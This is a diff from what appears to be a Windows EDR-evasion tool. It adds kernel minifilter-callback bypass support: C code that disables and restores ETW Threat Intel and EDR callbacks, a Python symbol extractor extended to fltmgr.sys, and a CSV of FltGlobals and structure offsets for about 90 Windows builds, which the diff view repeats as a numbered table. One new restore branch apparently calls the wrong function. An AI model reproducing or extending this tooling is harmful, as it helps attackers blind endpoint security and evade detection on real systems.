if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE;
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
// Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose);
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks;
BOOL foundMinifilterCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled;
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
*/
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers
/*
* Path of the CSV file that contains the needed offsets for minifilter enum and bypass
* If NULL, tries to load FltmgrOffsets.csv
* If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
*/
LPWSTR fltmgrOffsetFilePath;
/*
* Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv
+14 -1
View File
@@ -17,7 +17,7 @@ THREADS_LIMIT = None
CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404)
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll"]
supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
modes = [image_name.split(".")[0] for image_name in supported_images]
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
known_image_versions = {mode: list() for mode in modes}
@@ -46,6 +46,19 @@ symbols = dict(
("g_CiOptions", "symbol"),
("CiValidateImageHeader", "symbol"),
],
fltmgr=[
("FltGlobals", "symbol"),
("_GLOBALS", "FrameList", "field"),
("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
("_FLTP_FRAME", "Links", "field"),
("_FLTP_FRAME", "RegisteredFilters", "field"),
("_FLT_OBJECT", "PrimaryLink", "field"),
("_FLT_FILTER", "DriverObject", "field"),
("_FLT_FILTER", "InstanceList", "field"),
("_DRIVER_OBJECT", "DriverInit", "field"),
("_FLT_INSTANCE", "CallbackNodes", "field"),
("_FLT_INSTANCE", "FilterLink", "field"),
],
)
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
+90
View File
@@ -0,0 +1,90 @@
fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
1 fltmgrVersion FltGlobals _GLOBALS_FrameList _FLT_RESOURCE_LIST_HEAD_rList _FLTP_FRAME_Links _FLTP_FRAME_RegisteredFilters _FLT_OBJECT_PrimaryLink _FLT_FILTER_DriverObject _FLT_FILTER_InstanceList _DRIVER_OBJECT_DriverInit _FLT_INSTANCE_CallbackNodes _FLT_INSTANCE_FilterLink
2 fltmgr_10240-16384.sys 254c0 58 68 8 48 10 60 68 58 a0 70
3 fltmgr_10240-18967.sys 254c0 58 68 8 48 10 60 68 58 a0 70
4 fltmgr_10240-19983.sys 254c0 58 68 8 48 10 60 68 58 a0 70
5 fltmgr_10586-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
6 fltmgr_14393-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
7 fltmgr_14393-2879.sys 25500 58 68 8 48 10 60 68 58 a0 70
8 fltmgr_14393-3297.sys 25500 58 68 8 48 10 60 68 58 a0 70
9 fltmgr_14393-3659.sys 25500 58 68 8 48 10 60 68 58 a0 70
10 fltmgr_14393-4467.sys 25500 58 68 8 48 10 60 68 58 a0 70
11 fltmgr_14393-4583.sys 25500 58 68 8 48 10 60 68 58 a0 70
12 fltmgr_14393-4946.sys 25500 58 68 8 48 10 60 68 58 a0 70
13 fltmgr_14393-5127.sys 25500 58 68 8 48 10 60 68 58 a0 70
14 fltmgr_14393-5192.sys 25500 58 68 8 48 10 60 68 58 a0 70
15 fltmgr_15063-0.sys 27500 58 68 8 48 10 60 68 58 a0 70
16 fltmgr_15063-413.sys 27500 58 68 8 48 10 60 68 58 a0 70
17 fltmgr_15063-850.sys 27500 58 68 8 48 10 60 68 58 a0 70
18 fltmgr_15063-2161.sys 27500 58 68 8 48 10 60 68 58 a0 70
19 fltmgr_16299-15.sys 28540 58 68 8 48 10 60 68 58 a0 70
20 fltmgr_16299-98.sys 28540 58 68 8 48 10 60 68 58 a0 70
21 fltmgr_16299-99.sys 28540 58 68 8 48 10 60 68 58 a0 70
22 fltmgr_16299-192.sys 28540 58 68 8 48 10 60 68 58 a0 70
23 fltmgr_16299-371.sys 28540 58 68 8 48 10 60 68 58 a0 70
24 fltmgr_16299-402.sys 28540 58 68 8 48 10 60 68 58 a0 70
25 fltmgr_16299-1480.sys 28540 58 68 8 48 10 60 68 58 a0 70
26 fltmgr_16299-1868.sys 27540 58 68 8 48 10 60 68 58 a0 70
27 fltmgr_16299-2401.sys 27540 58 68 8 48 10 60 68 58 a0 70
28 fltmgr_16299-10000.sys 28540 58 68 8 48 10 60 68 58 a0 70
29 fltmgr_17134-1.sys 29540 58 68 8 48 10 60 68 58 a0 70
30 fltmgr_17134-228.sys 29540 58 68 8 48 10 60 68 58 a0 70
31 fltmgr_17134-1098.sys 29540 58 68 8 48 10 60 68 58 a0 70
32 fltmgr_17134-1365.sys 29540 58 68 8 48 10 60 68 58 a0 70
33 fltmgr_17134-1456.sys 29540 58 68 8 48 10 60 68 58 a0 70
34 fltmgr_17763-1.sys 2a540 58 68 8 48 10 60 68 58 a0 70
35 fltmgr_17763-379.sys 2a540 58 68 8 48 10 60 68 58 a0 70
36 fltmgr_17763-592.sys 2a540 58 68 8 48 10 60 68 58 a0 70
37 fltmgr_17763-831.sys 2a540 58 68 8 48 10 60 68 58 a0 70
38 fltmgr_17763-1999.sys 2a540 58 68 8 48 10 60 68 58 a0 70
39 fltmgr_17763-2028.sys 2a540 58 68 8 48 10 60 68 58 a0 70
40 fltmgr_17763-2061.sys 2a540 58 68 8 48 10 60 68 58 a0 70
41 fltmgr_17763-2090.sys 2a540 58 68 8 48 10 60 68 58 a0 70
42 fltmgr_17763-2510.sys 2a540 58 68 8 48 10 60 68 58 a0 70
43 fltmgr_17763-4492.sys 2a540 58 68 8 48 10 60 68 58 a0 70
44 fltmgr_17763-4644.sys 2a540 58 68 8 48 10 60 68 58 a0 70
45 fltmgr_17763-4720.sys 2a540 58 68 8 48 10 60 68 58 a0 70
46 fltmgr_17763-5122.sys 2a540 58 68 8 48 10 60 68 58 a0 70
47 fltmgr_17763-10576.sys 2a540 58 68 8 48 10 60 68 58 a0 70
48 fltmgr_18362-1.sys 2a580 58 68 8 48 10 60 68 58 a0 70
49 fltmgr_18362-267.sys 2a580 58 68 8 48 10 60 68 58 a0 70
50 fltmgr_18362-1110.sys 2a580 58 68 8 48 10 60 68 58 a0 70
51 fltmgr_18362-1216.sys 2a580 58 68 8 48 10 60 68 58 a0 70
52 fltmgr_18362-1645.sys 2a580 58 68 8 48 10 60 68 58 a0 70
53 fltmgr_18362-1714.sys 2a580 58 68 8 48 10 60 68 58 a0 70
54 fltmgr_18362-2337.sys 2a580 58 68 8 48 10 60 68 58 a0 70
55 fltmgr_19041-264.sys 2b600 58 68 8 48 10 60 68 58 a0 70
56 fltmgr_19041-1151.sys 2b600 58 68 8 48 10 60 68 58 a0 70
57 fltmgr_19041-1165.sys 2b600 58 68 8 48 10 60 68 58 a0 70
58 fltmgr_19041-1503.sys 2a600 58 68 8 48 10 60 68 58 a0 70
59 fltmgr_19041-1526.sys 2a600 58 68 8 48 10 60 68 58 a0 70
60 fltmgr_19041-1682.sys 2b600 58 68 8 48 10 60 68 58 a0 70
61 fltmgr_19041-1767.sys 2b600 58 68 8 48 10 60 68 58 a0 70
62 fltmgr_19041-1806.sys 29600 58 68 8 48 10 60 68 58 a0 70
63 fltmgr_19041-2728.sys 29600 58 68 8 48 10 60 68 58 a0 70
64 fltmgr_19041-2788.sys 29600 58 68 8 48 10 60 68 58 a0 70
65 fltmgr_19041-3086.sys 29600 58 68 8 48 10 60 68 58 a0 70
66 fltmgr_19041-3205.sys 29600 58 68 8 48 10 60 68 58 a0 70
67 fltmgr_19041-3570.sys 29600 58 68 8 48 10 60 68 58 a0 70
68 fltmgr_19041-3636.sys 29600 58 68 8 48 10 60 68 58 a0 70
69 fltmgr_19041-3684.sys 29600 58 68 8 48 10 60 68 58 a0 70
70 fltmgr_21390-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
71 fltmgr_22000-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
72 fltmgr_22000-469.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
73 fltmgr_22000-527.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
74 fltmgr_22000-778.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
75 fltmgr_22000-1098.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
76 fltmgr_22000-1165.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
77 fltmgr_22000-1219.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
78 fltmgr_22000-1281.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
79 fltmgr_22000-1696.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
80 fltmgr_22000-1761.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
81 fltmgr_22000-2124.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
82 fltmgr_22000-2592.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
83 fltmgr_22000-2600.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
84 fltmgr_22621-4.sys 2c700 58 68 8 48 10 60 68 58 a8 70
85 fltmgr_22621-608.sys 2c700 58 68 8 48 10 60 68 58 a8 70
86 fltmgr_22621-1690.sys 2c700 58 68 8 48 10 60 68 58 a8 70
87 fltmgr_22621-2361.sys 2e700 58 68 8 48 10 60 68 58 a8 70
88 fltmgr_22621-2415.sys 2e700 58 68 8 48 10 60 68 58 a8 70
89 fltmgr_22621-2506.sys 2e700 58 68 8 48 10 60 68 58 a8 70
90 fltmgr_22621-2771.sys 2e700 58 68 8 48 10 60 68 58 a8 70